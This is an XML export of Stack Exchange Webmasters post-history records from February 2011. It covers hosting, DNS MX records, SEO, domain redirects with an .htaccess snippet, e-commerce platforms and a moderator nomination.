  <row Id="20113" PostHistoryTypeId="2" PostId="9168" RevisionGUID="2cff9d2d-f9ce-4335-951e-531512b29e62" CreationDate="2011-02-14T19:23:22.970" UserId="2333" Text="http://drupal.org/project/ldap for Drupal 7&#xD;&#xA;http://drupal.org/project/ldap_integration for Drupal 6&#xD;&#xA;&#xD;&#xA;Both have done what I wanted." />
  <row Id="20114" PostHistoryTypeId="2" PostId="9169" RevisionGUID="b79845fd-7617-4bba-828b-0d59523d4904" CreationDate="2011-02-14T19:45:30.503" UserId="1918" Text="The [Google checkout API][1] offers that halfway house of being able to use your own custom cart, without having to actually go the whole hog and handle all the nuances of credit card number handling certification.&#xD;&#xA;&#xD;&#xA; [1]: http://code.google.com/apis/checkout/developer/Google_Checkout_XML_API.html#checkout_api" />
  <row Id="20115" PostHistoryTypeId="25" PostId="9164" RevisionGUID="68e60f40-9cf2-4356-bdc5-693608159bea" CreationDate="2011-02-14T20:22:20.767" Comment="http://twitter.com/#!/StackWebmasters/status/37245277299539968" />
  <row Id="20116" PostHistoryTypeId="2" PostId="9170" RevisionGUID="3a20f20c-2a7f-4a37-a9aa-4a468ef1c680" CreationDate="2011-02-14T21:23:49.550" UserId="4973" Text="I'm looking for Windows based shared web hosting which supports multiple hosted web sites (multiple domains). Supported technologies should contain:&#xD;&#xA;&#xD;&#xA; - ASP.NET 4, ASP.NET MVC&#xD;&#xA; - IIS 7&#xD;&#xA; - MS SQL 2008&#xD;&#xA; - PHP, MySQL&#xD;&#xA;&#xD;&#xA;It is for my hobby projects so it should not be too expensive.&#xD;&#xA;&#xD;&#xA;I tryed GoDaddy's Windows Deluxe hosting but the experience is very bad and I want to move elsewhere. WordPress hosted on GoDaddy's Windows hosting is unloaded every few minutes and next request takes about 20s to complete. Following request to empty site takes around 3s to complete. Even request for RSS wich transfers 1.2KB takes several seconds. The delay happens in PHP processing because static content is served within 200ms. It helped to migrate to Linux hosting (all requests are served under 1s) but Linux hosting is not what I'm looking for.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20117" PostHistoryTypeId="1" PostId="9170" RevisionGUID="3a20f20c-2a7f-4a37-a9aa-4a468ef1c680" CreationDate="2011-02-14T21:23:49.550" UserId="4973" Text="Looking for Windows shared web hosting with PHP support" />
  <row Id="20118" PostHistoryTypeId="3" PostId="9170" RevisionGUID="3a20f20c-2a7f-4a37-a9aa-4a468ef1c680" CreationDate="2011-02-14T21:23:49.550" UserId="4973" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;wordpress&gt;&lt;asp.net&gt;&lt;windows&gt;" />
  <row Id="20119" PostHistoryTypeId="6" PostId="9170" RevisionGUID="e1a21227-29f6-46eb-b6c3-321aa3070d48" CreationDate="2011-02-14T21:31:04.177" UserId="1253" Comment="Removed &quot;wordpress&quot; tag" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;asp.net&gt;&lt;windows&gt;" />
  <row Id="20120" PostHistoryTypeId="2" PostId="9171" RevisionGUID="e62b8f33-2a5f-46d6-b068-193e50fae452" CreationDate="2011-02-14T21:35:22.767" UserId="5404" Text="Not sure this would work for you, but I was able to reclaim a YouTube account utilizing the Copyright and Trademark section of their website.  If you can prove that the trademark belongs to you and that the account utilizes the trademark, they may be able to transfer the account." />
  <row Id="20121" PostHistoryTypeId="2" PostId="9172" RevisionGUID="c2684a3b-dc43-43db-a657-5058247d5f38" CreationDate="2011-02-14T21:53:58.380" UserId="1064" Text="Lock the wiki down further. Assuming you know everyone who will be authoring content, there is no reason to allow drive-by edits or even signups - only sysops should be able to create accounts and only editors should use accounts.&#xD;&#xA;&#xD;&#xA;Your users shouldn't be given access to change the documentation which they depend upon (just give them an easy way to contact support if the documentation proves to be insufficient to their needs).&#xD;&#xA;&#xD;&#xA;[How can I secure an installation of MediaWiki?][1] might be a good Q/A to review.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2512/how-can-i-secure-an-installation-of-mediawiki" />
  <row Id="20122" PostHistoryTypeId="5" PostId="8448" RevisionGUID="e2badc86-0953-475d-b659-6a4c15a087aa" CreationDate="2011-02-14T22:00:45.210" UserId="118" Comment="added 150 characters in body" Text="I'm seeing a lot of sites go to a format similar to the one now in use by stackexchange sites (i.e. short topic - maybe a long topic - only finally the site's name).  Is this optimal SEO?  It seems kind weird both because I'm only begun to notice changes in this direction recently, and because it seems like it would make it harder to tell in search results which actual site you're visiting, even if the topic is one that matches.&#xD;&#xA;&#xD;&#xA;Still, sites like Facebook, StackOverflow, etc probably aren't wrong, so I'm wondering if I should try to make my sites use that format, going forwards...&#xD;&#xA;&#xD;&#xA;**Edit:** Found a more-fleshed-out duplicate: http://webmasters.stackexchange.com/questions/6556/does-the-order-of-keywords-matter-in-a-page-title" />
  <row Id="20123" PostHistoryTypeId="2" PostId="9173" RevisionGUID="2e5e7bfa-e888-4d39-89d9-bf9beb737f25" CreationDate="2011-02-14T22:34:43.337" UserId="2059" Text="Let's say I've registered domain.com at enom and set it up to use Google Apps for email by rerouting DNS to enom's servers and editing the MX records there.  That works flawlessly.  Now let's say I want to have email at a subdomain for that same site.  I already have a working subdomain at the host, but I want to catch email traffic at enom before it gets that far.  I've set up Google Apps as a new account for the subdomain, successfully verified domain ownership, and now they want me to update MX records.  What's the right format?&#xD;&#xA;&#xD;&#xA;For domain.com, I just put @ for the hostname, and then provided the Address and Pref values that Google gave me.  I tried putting subdomain.domain.com as new values under hostname for the subdomain, but that doesn't seem to work.  What am I doing wrong?  " />
  <row Id="20124" PostHistoryTypeId="1" PostId="9173" RevisionGUID="2e5e7bfa-e888-4d39-89d9-bf9beb737f25" CreationDate="2011-02-14T22:34:43.337" UserId="2059" Text="What is the proper way to setup Google Apps email accounts for a subdomain?" />
  <row Id="20125" PostHistoryTypeId="3" PostId="9173" RevisionGUID="2e5e7bfa-e888-4d39-89d9-bf9beb737f25" CreationDate="2011-02-14T22:34:43.337" UserId="2059" Text="&lt;domains&gt;&lt;dns&gt;&lt;email&gt;&lt;subdomain&gt;&lt;google-apps&gt;" />
  <row Id="20126" PostHistoryTypeId="5" PostId="9170" RevisionGUID="7c6ab1f8-3fa9-490a-81e4-21d668295522" CreationDate="2011-02-14T22:53:40.173" UserId="4973" Comment="added 1 characters in body" Text="I'm looking for Windows based shared web hosting which supports multiple hosted web sites (multiple domains). Supported technologies should contain:&#xD;&#xA;&#xD;&#xA; - ASP.NET 4, ASP.NET MVC&#xD;&#xA; - IIS 7&#xD;&#xA; - MS SQL 2008&#xD;&#xA; - PHP, MySQL&#xD;&#xA;&#xD;&#xA;It is for my hobby projects so it should not be too expensive.&#xD;&#xA;&#xD;&#xA;I tried GoDaddy's Windows Deluxe hosting but the experience is very bad and I want to move elsewhere. WordPress hosted on GoDaddy's Windows hosting is unloaded every few minutes and next request takes around 20s to complete. Following request to empty site takes around 3s to complete. Even request for RSS wich transfers 1.2KB takes several seconds. The delay happens in PHP processing because static content is served within 200ms. It helped to migrate to Linux hosting (all requests are served under 1s) but Linux hosting is not what I'm looking for.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20127" PostHistoryTypeId="2" PostId="9174" RevisionGUID="4018df84-052b-4270-aa4d-d191a06f2e39" CreationDate="2011-02-14T23:00:08.900" UserId="5407" Text="I've seen this grid favicon show up on a lot of sites, most of which tend to be for scams like oxytocin accelerator, or make $300 a day posting links to Google type sites.&#xD;&#xA;&#xD;&#xA;![Grid Favicon][1]&#xD;&#xA;&#xD;&#xA;My question is: what is this icon and where does it come from?  Is there some organization whose goal is to make terrible websites like this and they associate them with this icon or does it belong to some server software that for some reason scammy sites like to use?&#xD;&#xA;&#xD;&#xA;Does anybody know the origins of this icon?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ulJyI.png" />
  <row Id="20128" PostHistoryTypeId="1" PostId="9174" RevisionGUID="4018df84-052b-4270-aa4d-d191a06f2e39" CreationDate="2011-02-14T23:00:08.900" UserId="5407" Text="Grid Favicon on [Scammy] Websites" />
  <row Id="20129" PostHistoryTypeId="3" PostId="9174" RevisionGUID="4018df84-052b-4270-aa4d-d191a06f2e39" CreationDate="2011-02-14T23:00:08.900" UserId="5407" Text="&lt;favicon&gt;" />
  <row Id="20130" PostHistoryTypeId="2" PostId="9175" RevisionGUID="24301d3c-7769-4b2c-afdc-dee86c016597" CreationDate="2011-02-14T23:11:04.203" UserId="4465" Text="If you need performance and you have experience with installing / management server you should look at to [Rackspace Cloud Server][1] .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspacecloud.com" />
  <row Id="20131" PostHistoryTypeId="10" PostId="9174" RevisionGUID="6bb16ff0-ce62-4d7d-9e9f-9f39b816adfe" CreationDate="2011-02-14T23:15:40.997" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20132" PostHistoryTypeId="25" PostId="9174" RevisionGUID="e981e96a-b06f-456a-b6a2-76d5b7bca5fe" CreationDate="2011-02-14T23:22:21.040" Comment="http://twitter.com/#!/StackWebmasters/status/37290576412033024" />
  <row Id="20133" PostHistoryTypeId="2" PostId="9176" RevisionGUID="d5a7c36b-0b1b-4f38-ae44-b6e08e7f5c7d" CreationDate="2011-02-15T00:34:07.830" UserId="1757" Text="Not all of these apply, but you could also take a look at these:&#xD;&#xA;&#xD;&#xA; - livestream&#xD;&#xA; - Ustream&#xD;&#xA; - justin.tv&#xD;&#xA; - blogtv&#xD;&#xA; - vodpod&#xD;&#xA; - hulu (ent)&#xD;&#xA; - kaltura (foss|commercial)&#xD;&#xA; - metacafe&#xD;&#xA; - monetizemedia&#xD;&#xA; - Brightcove&#xD;&#xA; - Kyte&#xD;&#xA; - BestTV (--Brightcove reseller)&#xD;&#xA; - vbrick (--ent)&#xD;&#xA; - kit digital (ent)&#xD;&#xA;&#xD;&#xA;These are from my personal notes. The &quot;ent&quot; means the service is aimed at the enterprise market only; &quot;foss&quot; means it's [Free and Open Source Software][1]; and the &quot;--&quot; just means I didn't like the site much.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Free_open_source_software" />
  <row Id="20134" PostHistoryTypeId="2" PostId="9177" RevisionGUID="2583b4cd-4d9e-406a-8a17-788742ab9499" CreationDate="2011-02-15T01:20:17.420" UserId="709" Text="Evaluate the different solutions by establishing some test products.  Then read the documentation (and test a sample installation if possible) to see how they are handled.&#xD;&#xA;&#xD;&#xA;For example, I needed some tricky handling of [text product attributes and variable pricing][1].  Three years ago ZenCart was the only solution that could do what I needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tutorials.zen-cart.com/index.php?article=57" />
  <row Id="20135" PostHistoryTypeId="2" PostId="9178" RevisionGUID="ca4d94f3-2437-4843-953f-b1f34b1873d1" CreationDate="2011-02-15T01:58:40.190" UserId="5408" Text="In my opinion a lot of SEO information online tends to have a very &quot;spammy&quot; feel to it. Can anyone point me to some truly credible and legitimate SEO websites and/or seminars/webinars (other than stackexchange)? I'd like to learn more about SEO but I'm not sure where to look." />
  <row Id="20136" PostHistoryTypeId="1" PostId="9178" RevisionGUID="ca4d94f3-2437-4843-953f-b1f34b1873d1" CreationDate="2011-02-15T01:58:40.190" UserId="5408" Text="Legitimate and Credible SEO Sites and Seminars/Webinars" />
  <row Id="20137" PostHistoryTypeId="3" PostId="9178" RevisionGUID="ca4d94f3-2437-4843-953f-b1f34b1873d1" CreationDate="2011-02-15T01:58:40.190" UserId="5408" Text="&lt;seo&gt;" />
  <row Id="20138" PostHistoryTypeId="16" PostId="9178" RevisionGUID="0eb871aa-8d6e-4dd5-a872-7471688533b5" CreationDate="2011-02-15T02:01:06.687" UserId="1253" />
  <row Id="20139" PostHistoryTypeId="25" PostId="9178" RevisionGUID="fab85f87-286e-49de-9f8e-f9f7238d50dd" CreationDate="2011-02-15T02:22:20.520" Comment="http://twitter.com/#!/StackWebmasters/status/37335873263509504" />
  <row Id="20140" PostHistoryTypeId="2" PostId="9179" RevisionGUID="59e6d016-fe0b-49a5-95c1-1df826112fad" CreationDate="2011-02-15T03:04:01.480" UserId="5411" Text="SEOMoz [seomoz.org][1]&#xD;&#xA;&#xD;&#xA;has some great information and tools. There's a wide variety of articles and good advice.  &#xD;&#xA;  [1]: http://seomoz.org" />
  <row Id="20141" PostHistoryTypeId="2" PostId="9180" RevisionGUID="5235559b-ddbd-45d4-8148-e2fa321fa8a6" CreationDate="2011-02-15T03:19:18.030" UserId="3728" Text="My team is about to launch a new web application, http://wethepixels.com, that requires a lot of people to be on the site at the same time for the concept to be successful. &#xD;&#xA;&#xD;&#xA;Our team is preparing to promote/market an event for a specific date and time, in order to try to grab a large group of people to the site at once.&#xD;&#xA;&#xD;&#xA;For those who have gone through a similar web launch, we would love to hear ideas on the best way to market for a large group in a relatively short period of time. We have created a Facebook page and a Facebook event, but it has yet to grab much attention (surprisingly to us). Is there a better way to attract a large number of users in a short period of time?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="20142" PostHistoryTypeId="1" PostId="9180" RevisionGUID="5235559b-ddbd-45d4-8148-e2fa321fa8a6" CreationDate="2011-02-15T03:19:18.030" UserId="3728" Text="How to promote/market an event that needs many people?" />
  <row Id="20143" PostHistoryTypeId="3" PostId="9180" RevisionGUID="5235559b-ddbd-45d4-8148-e2fa321fa8a6" CreationDate="2011-02-15T03:19:18.030" UserId="3728" Text="&lt;marketing&gt;&lt;social-networking&gt;&lt;web-applications&gt;" />
  <row Id="20144" PostHistoryTypeId="5" PostId="9125" RevisionGUID="6c63a17c-d165-4da5-bddd-eba7ce955bad" CreationDate="2011-02-15T03:22:50.957" UserId="1787" Comment="Rewrote to clearly answer OP's question" Text="To answer the question in your title of whether there are any good reasons to use Quirks for a new site - **no there aren't**. Standards greatly increase cross-browser compatibility, making development much easier and faster.&#xD;&#xA;&#xD;&#xA;To answer your question of why a site like Amazon uses Quirks - firstly, they aren't new (their [first sale was in July 1995][1]), and secondly, **it's probably not cost effective for them to change**.&#xD;&#xA;&#xD;&#xA;Unfortunately, good quality standards haven't been around throughout web development history. A site as old as Amazon is likely to have needed hacky tricks to make everything work up to this point, all of which would have to be rewritten. As JamesRyan says, it's a lot of work to update an entire site to use standards. A part of this is updating code, but I'd argue a more significant part **is in time-consuming testing**. Then there's the significant risk of lost income due to introduced bugs, which would affect revenue and in serious conditions, market value (probably only temporarily).&#xD;&#xA;&#xD;&#xA;Amazon works, and works pretty well. Considering that and the risks involved, how do you think the business would justify making the site standards compliant, when it would mean average Joe User miss out on new features that will gain Amazon more revenue?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Amazon.com" />
  <row Id="20145" PostHistoryTypeId="25" PostId="9152" RevisionGUID="710d9bd6-eeed-445e-8580-de967233865e" CreationDate="2011-02-15T05:22:20.700" Comment="http://twitter.com/#!/StackWebmasters/status/37381172912721920" />
  <row Id="20146" PostHistoryTypeId="2" PostId="9181" RevisionGUID="20ad0213-8045-4c8d-84e7-5129f44636e3" CreationDate="2011-02-15T06:06:35.170" UserId="1757" Text="Great ideas tend to promote themselves, but for most ideas (even fairly good ones, which I think your site qualifies as), it helps to &quot;seed&quot; the eventual viral marketing by getting the word out in the beginning. You can do this by putting out press releases on relevant online news sites and blogs (invite a popular blogger to review the site), by cross promotion if possible (e.g. include an announcement in a newsletter for one of your other sites), by submitting to web directories (e.g. GreatWebApps.com), and by traditional marketing (online or offline advertising).&#xD;&#xA;&#xD;&#xA;Also, make it easier for people to promote your site:&#xD;&#xA;&#xD;&#xA; - create a *share with friends* form&#xD;&#xA; - include buttons for sharing on sites like digg, del.icio.us, reddit, stumbleupon, etc.&#xD;&#xA; - and include buttons that fans of the site can display on their own webpages or forum signatures&#xD;&#xA; - you can also encourage users to come to the site, tweet about the site, or invite friends to the site with prizes or on-site rewards.&#xD;&#xA;&#xD;&#xA;Also, have you tried promoting it in the right communities? You don't need to spam or anything, but letting people on art sites like DeviantArt, Behance, Dribbble, CarbonMade, etc. know about your site would probably be more effective than posting on messageboards of non-art-related communities." />
  <row Id="20147" PostHistoryTypeId="2" PostId="9182" RevisionGUID="25b9a657-cde1-4935-8b0b-934a6935cd78" CreationDate="2011-02-15T07:33:30.160" UserDisplayName="user5413" Text="I own three domains.. say.. example.com, example.in, example.co.in&#xD;&#xA;&#xD;&#xA;I have bought the .in and .co.in TLDs only to protect the brand.&#xD;&#xA;&#xD;&#xA;But I have this question:&#xD;&#xA;&#xD;&#xA;If I make the other two also point to my hosting so that regardless of which one the user types, they are taken to the same website, will the pagerank be split into three and will each domain have one third the actual PG value?&#xD;&#xA;&#xD;&#xA;what should I do with the other two domains? Where should I point them to, if I dont intend to use them at all.. (i.e., what should I give in place of the ns1.myprovider.com, ns2.myprovider.com etc..?)" />
  <row Id="20148" PostHistoryTypeId="1" PostId="9182" RevisionGUID="25b9a657-cde1-4935-8b0b-934a6935cd78" CreationDate="2011-02-15T07:33:30.160" UserDisplayName="user5413" Text="PageRank sharing between domains?!" />
  <row Id="20149" PostHistoryTypeId="3" PostId="9182" RevisionGUID="25b9a657-cde1-4935-8b0b-934a6935cd78" CreationDate="2011-02-15T07:33:30.160" UserDisplayName="user5413" Text="&lt;pagerank&gt;&lt;tld&gt;&lt;nameserver&gt;" />
  <row Id="20150" PostHistoryTypeId="25" PostId="9182" RevisionGUID="e25bc9a3-ac10-4c77-8679-34121d4f1dce" CreationDate="2011-02-15T08:22:20.697" Comment="http://twitter.com/#!/StackWebmasters/status/37426470800334848" />
  <row Id="20151" PostHistoryTypeId="2" PostId="9183" RevisionGUID="13ed3255-f926-4d79-87cc-ec018f8e64df" CreationDate="2011-02-15T08:47:58.217" UserDisplayName="user5414" Text="I have a web site that www.viewbd.com&#xD;&#xA;But i have not enough visitor how can i increase my visitor or traffic" />
  <row Id="20152" PostHistoryTypeId="1" PostId="9183" RevisionGUID="13ed3255-f926-4d79-87cc-ec018f8e64df" CreationDate="2011-02-15T08:47:58.217" UserDisplayName="user5414" Text="How can I increase my web site visitor?" />
  <row Id="20153" PostHistoryTypeId="3" PostId="9183" RevisionGUID="13ed3255-f926-4d79-87cc-ec018f8e64df" CreationDate="2011-02-15T08:47:58.217" UserDisplayName="user5414" Text="&lt;web-development&gt;" />
  <row Id="20154" PostHistoryTypeId="2" PostId="9184" RevisionGUID="b773c6fe-884a-409f-bdba-e3f2790e808b" CreationDate="2011-02-15T10:17:44.367" UserId="3307" Text=" 1. Get a sitemap - I see you're using wordpress so I suggest looking at [Google XML Sitemap Generator][1]&#xD;&#xA; 2. Put a link in your email/forum signature&#xD;&#xA; 3. [Don't be a content farm][2]. Google doesn't like content farms that duplicate content. Or if someone else is a content farm, have a quiet word with them.&#xD;&#xA;&#xD;&#xA;Those are a couple of points. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/&#xD;&#xA;  [2]: http://www.bdtips.com/Article_Body.php?Main_Category_ID=23&amp;Article_ID=5186" />
  <row Id="20155" PostHistoryTypeId="2" PostId="9185" RevisionGUID="4c98900b-bf4c-46aa-8c3b-5d565bcbc6c5" CreationDate="2011-02-15T10:23:59.103" UserId="3307" Text="[This][1] suggests that you just add the MX records like you usually do, just with the subdomain rather than the domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Google+Apps/thread?tid=63d3ce6330dbf967&amp;hl=en" />
  <row Id="20156" PostHistoryTypeId="2" PostId="9186" RevisionGUID="ae2aa53d-86f5-4349-bf21-1e36d1646231" CreationDate="2011-02-15T10:31:00.517" UserId="3307" Text="I agree with Eray, but I would suggest going with rackspacecloud sites instead. &#xD;&#xA;&#xD;&#xA;How about [1and1][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.1and1.com" />
  <row Id="20157" PostHistoryTypeId="2" PostId="9187" RevisionGUID="2d3627a4-364d-4745-9c79-481dce9735a3" CreationDate="2011-02-15T11:11:28.347" UserId="5417" Text="I have found Magento, difficult to learn, but worth the effort. &#xD;&#xA;&#xD;&#xA;A great resource in understanding how magneto code works: [Designers Guide][1]&#xD;&#xA;&#xD;&#xA;Awesome video tutorial series: [Building a Magento Theme Start to Finish][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/design_guide&#xD;&#xA;  [2]: http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBYQFjAA&amp;url=http%3A%2F%2Fdeveloper.practicalecommerce.com%2Farticles%2F1540-Building-a-Magento-Theme-Start-to-Finish-Part-One-Prolegomena&amp;rct=j&amp;q=Building%20a%20Magento%20Theme%20Start%20to%20Finish&amp;ei=CV9aTYkEi6S6A7XvqNIM&amp;usg=AFQjCNEYuo30WMcP29sNI4V-UYEJwArBQQ&amp;sig2=NQ7j8X7Otx0tz-FsfyuZvA&amp;cad=rja" />
  <row Id="20158" PostHistoryTypeId="25" PostId="9183" RevisionGUID="40549c85-3722-4172-b295-c60b8b004a97" CreationDate="2011-02-15T11:22:20.613" Comment="http://twitter.com/#!/StackWebmasters/status/37471769405169664" />
  <row Id="20159" PostHistoryTypeId="2" PostId="9188" RevisionGUID="cb82f7be-29b0-4464-af86-512638e3fd52" CreationDate="2011-02-15T12:46:29.573" UserId="1253" Text="If you point them all to the same content, and do not do a 301 redirect to a &quot;main&quot; domain, then you will be splitting up PR amongst domains (assuming you have links to all of them) and also have duplicate content. The duplicate content will result in pages being penalized and/or removed from the index.&#xD;&#xA;&#xD;&#xA;Choose a &quot;main&quot; domain that you always want to appear in the user's address bar and then use .htaccess to redirect anyone who uses the secondary domains to forward to the main domain.&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?secondarydomain1\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.maindomain.com/$1 [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?secondarydomain1\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.maindomain.com/$1 [R=301,L]" />
  <row Id="20160" PostHistoryTypeId="6" PostId="9182" RevisionGUID="a9cdee22-f2d0-4a1a-85a0-902842638d16" CreationDate="2011-02-15T12:47:12.537" UserId="1253" Comment="Removed &quot;tld nameserver&quot; tags" Text="&lt;pagerank&gt;" />
  <row Id="20161" PostHistoryTypeId="5" PostId="9183" RevisionGUID="567a62b8-8be4-4118-89da-7b877dbb3233" CreationDate="2011-02-15T12:48:06.093" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to start driving traffic to a new website?](http://webmasters.stackexchange.com/questions/3242/what-are-the-best-ways-to-start-driving-traffic-to-a-new-website)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a web site that www.viewbd.com&#xD;&#xA;But i have not enough visitor how can i increase my visitor or traffic" />
  <row Id="20162" PostHistoryTypeId="10" PostId="9183" RevisionGUID="dcdbbed2-0711-45b9-87b9-9ef160725b83" CreationDate="2011-02-15T12:48:05.970" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20163" PostHistoryTypeId="2" PostId="9189" RevisionGUID="2c233610-413c-49e4-9134-ad3a95dd6f52" CreationDate="2011-02-15T12:48:10.117" UserId="4847" Text="I have a tree-like datastructure of some six levels deep, that I would like to represent on a single webpage (can be tabs, trees; ....)&#xD;&#xA;&#xD;&#xA;In each level both childnodes and content are possible.  Presenting it like a real tree would be not very usable (too big). &#xD;&#xA;&#xD;&#xA;I was thinking in the lines of hiding parts of the tree when you drill down and presenting a breadcrumbs or the like to keep you informed as to where you are... &#xD;&#xA;&#xD;&#xA;I guess my question boils down to  : any ideas? &#xD;&#xA;&#xD;&#xA;Tx!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20164" PostHistoryTypeId="1" PostId="9189" RevisionGUID="2c233610-413c-49e4-9134-ad3a95dd6f52" CreationDate="2011-02-15T12:48:10.117" UserId="4847" Text="GUI question : representing large tree" />
  <row Id="20165" PostHistoryTypeId="3" PostId="9189" RevisionGUID="2c233610-413c-49e4-9134-ad3a95dd6f52" CreationDate="2011-02-15T12:48:10.117" UserId="4847" Text="&lt;gui&gt;" />
  <row Id="20166" PostHistoryTypeId="2" PostId="9190" RevisionGUID="bd6b3e91-6c9d-45da-a853-4235725d9c04" CreationDate="2011-02-15T12:55:05.730" UserId="205" Text="Have you seen the way [Visual Thesaurus][1] handles its complex tree structures?  With their visualization, they can easily handle more than six levels in a tree.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.visualthesaurus.com/" />
  <row Id="20167" PostHistoryTypeId="5" PostId="9189" RevisionGUID="ab058b08-7a0a-4b65-957d-f9a3a10a9614" CreationDate="2011-02-15T12:56:20.823" UserId="4847" Comment="added 12 characters in body" Text="I have a tree-like datastructure of some six levels deep, that I would like to represent on a single webpage (can be tabs, trees; ....)&#xD;&#xA;&#xD;&#xA;In each level both childnodes and content are possible.  Presenting it like a real tree would be not very usable (too big). &#xD;&#xA;&#xD;&#xA;I was thinking in the lines of hiding parts of the tree when you drill down and presenting a breadcrumbs or the like to keep you informed as to where you are... &#xD;&#xA;&#xD;&#xA;I guess my question boils down to  : any ideas / examples ? &#xD;&#xA;&#xD;&#xA;Tx!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20168" PostHistoryTypeId="2" PostId="9191" RevisionGUID="55305d63-dbc1-45d4-86fa-cf88c2da0a3f" CreationDate="2011-02-15T14:21:48.430" UserId="1253" Text="I think anyone who has been a member of Webmasters for more then a week will know that I am a very active member here (member for 196 days and I've been here every single one of them). I didn't quite start at the beginning but I've been here for a long time. As such I have a good understanding of which questions have been asked before so I can flag duplicate questions quickly. My frequent visits also allow me to handle spam and other flagged content quickly as well.&#xD;&#xA;&#xD;&#xA;I am currently a [Pro Tem moderator][1] so I am very well aware of the requirements and expectations for moderating this community. I'm not afraid to ask questions on [meta][2] and I also take advantage of moderator chat for very specific issues. I will also flag posts for other moderators to review when I am unsure about a specific question or answer.&#xD;&#xA;&#xD;&#xA;I used to be a super moderator (called a [Team Leader][3]) at the [SitePoint.com forums][4] before [resigning a couple of years ago][5] so I could spend less time in front of a computer. I currently [blog for Authorize.Net][6] but that's about it for my other online commitments which makes it easy for me to focus on moderating here.&#xD;&#xA;&#xD;&#xA;The benefits of me being a moderator is my experience moderating as a pro tem moderator, my length of participation, my willingness to ask for help, and the frequency of my visits. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2010/07/moderator-pro-tempore/&#xD;&#xA;  [2]: http://meta.webmasters.stackexchange.com/users/1253/john-conde&#xD;&#xA;  [3]: http://www.sitepoint.com/forums/showthread.php?t=359017&#xD;&#xA;  [4]: http://www.sitepoint.com/forums/&#xD;&#xA;  [5]: http://www.johnconde.net/blog/why-i-resigned-from-the-sitepointcom-forums-5/&#xD;&#xA;  [6]: http://community.developer.authorize.net/t5/The-Authorize-Net-Developer-Blog/bg-p/DeveloperBlog" />
  <row Id="20169" PostHistoryTypeId="25" PostId="9189" RevisionGUID="8de9da18-8575-4a70-b830-ecfa88407512" CreationDate="2011-02-15T14:22:20.733" Comment="http://twitter.com/#!/StackWebmasters/status/37517068496543744" />
  <row Id="20170" PostHistoryTypeId="17" PostId="9193" RevisionGUID="710aa600-47c7-44a1-a7ee-59fb3c3ac1f9" CreationDate="2011-02-15T14:24:10.570" UserId="-1" Comment="from http://serverfault.com/questions/235650/what-are-some-good-apache-settings-to-use-with-wordpress/235651#235651" Text="" />
  <row Id="20171" PostHistoryTypeId="2" PostId="9193" RevisionGUID="dcf86b39-a277-45d9-9529-12a56bab6cf5" CreationDate="2011-02-15T09:20:20.177" UserDisplayName="Benny" Text="You can try lowering the file size in the admin panel for PHP and if that does not work try it in the wp-config.php file.&#xD;&#xA;&#xD;&#xA;Benny Age 12" />
  <row Id="20172" PostHistoryTypeId="2" PostId="9192" RevisionGUID="dab148fa-24b5-4999-9fe9-91a827d0ef50" CreationDate="2011-02-15T06:41:34.210" UserId="5249" Text="My server has 756m of RAM.  Every few days I get&#xD;&#xA;&#xD;&#xA;[error] server reached MaxClients setting, consider raising the MaxClients setting" />
  <row Id="20173" PostHistoryTypeId="1" PostId="9192" RevisionGUID="dab148fa-24b5-4999-9fe9-91a827d0ef50" CreationDate="2011-02-15T06:41:34.210" UserId="5249" Text="What are some good Apache settings to use with wordpress? " />
  <row Id="20174" PostHistoryTypeId="3" PostId="9192" RevisionGUID="dab148fa-24b5-4999-9fe9-91a827d0ef50" CreationDate="2011-02-15T06:41:34.210" UserId="5249" Text="&lt;apache&gt;" />
  <row Id="20175" PostHistoryTypeId="17" PostId="9192" RevisionGUID="9f09d995-bfc0-4e5e-9700-c30347bbd40f" CreationDate="2011-02-15T14:24:10.570" UserId="-1" Comment="from http://serverfault.com/questions/235650/what-are-some-good-apache-settings-to-use-with-wordpress" Text="" />
  <row Id="20176" PostHistoryTypeId="6" PostId="9192" RevisionGUID="6a3567ab-5a55-4eef-b79c-5960d241ee5e" CreationDate="2011-02-15T14:28:51.780" UserId="1253" Comment="Added &quot;wordpress&quot; tag" Text="&lt;wordpress&gt;&lt;apache&gt;" />
